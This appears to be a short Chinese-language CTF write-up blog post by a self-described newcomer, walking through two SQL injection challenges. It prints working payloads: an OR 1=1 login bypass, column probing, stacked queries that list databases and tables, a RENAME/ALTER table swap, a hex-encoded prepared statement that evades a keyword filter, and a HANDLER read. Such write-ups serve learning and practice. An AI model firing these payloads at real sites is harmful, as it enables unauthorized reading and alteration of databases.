工具:火狐、Hackbar
打开链接发现是一个登录界面,可能存在SQL注入
在用户名处输入
1 显示:Wrong username password
1' 显示报错
闭合点应该是 ' 单引号闭合
在用户名处输入 1' or 1=1 -- - 得到flag
第一种方法
打开连接发现是一个查询框,可能存在SQL注入
第一步找闭合
输入
1 不报错
1’ 报错
闭合为单引号
第二步求列数
1' order by 1,2,3-- -开始报错
列数为2
第三步求显示位
输入1' union select 1-- - 提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
所以联合注入不行
尝试堆叠注入
1' ; show databases;
得到数据库名
第四步求表
1' ; show tables;
得出表名
第五步求列名
1' ; show columns from `1919810931114514`; 当表名为数字时要用反引号 (esc下面的)
第六步求字段
通过 rename 先把 words 表改名为其他的表名
把 1919810931114514 表的名字改为 words
给新 words 表添加新的列名 id
将 flag 改名为 data
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
得出flag
第二种方法
因为select被过滤,所以可以将select * from `1919810931114514`进行16进制编码再通过构造payload得到
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
进而得到flag
prepare...from...是预处理语句,会进行编码转换
execute用来执行由SQL Prepare创建的SQl语句
SELECT可以在一条语句里对多个变量同时复制,而SET只能一次对一个变量赋值
第三种方法
1'; handler `1919810931114514` open as `a`; handler `a` read next;
新人第一次写博客,希望大家一起进步ヽ( ̄ω ̄( ̄ω ̄〃)ゝ
要是有错误的地方,欢迎大家批评指正!